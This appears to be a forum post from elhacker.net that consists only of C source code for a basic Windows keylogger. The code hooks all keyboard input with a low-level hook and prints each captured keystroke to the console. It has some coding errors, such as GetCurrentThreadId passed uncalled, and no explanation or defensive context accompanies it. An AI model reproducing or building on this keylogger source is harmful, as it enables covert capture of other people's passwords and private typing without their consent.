Foro de elhacker.net

#include <windows.h>
HHOOK hKeyHook = NULL;
__declspec(dllexport) LRESULT CALLBACK Teclazo(int nCode, WPARAM wParam, LPARAM lParam) {
	HWND ventana;
	BYTE Buffer[100];
	KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
	BYTE Status;
	char Mensaje[100];
	ventana = GetForegroundWindow();
	DWORD thread;
	if (ventana) {
		thread = GetWindowThreadProcessId(ventana,NULL);
		if (thread) {
			AttachThreadInput(GetCurrentThreadId(),thread,TRUE);
		}
	}
	ToAscii(hooked.vkCode,hooked.scanCode,NULL,(LPWORD)Buffer,0);
	printf("%c: \n",Buffer[0]);
	printf("%c: \n",Buffer[1]);
	AttachThreadInput(GetCurrentThreadId,thread,FALSE);
	return CallNextHookEx(NULL,nCode,wParam,lParam);
}
void LoopDeMensajes(){
	MSG msg;
	while (GetMessage(&msg,NULL,0,0)) {
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
}
DWORD WINAPI Keylogger() {
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)Teclazo,GetModuleHandle(NULL),NULL);
	LoopDeMensajes();
	UnhookWindowsHookEx(hKeyHook);
}

int main() {
	DWORD dwThread = 0;
	HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Keylogger,(LPVOID)NULL,NULL,dwThread);
	if (hThread) {
		return WaitForSingleObject(hThread,INFINITE);
	}
}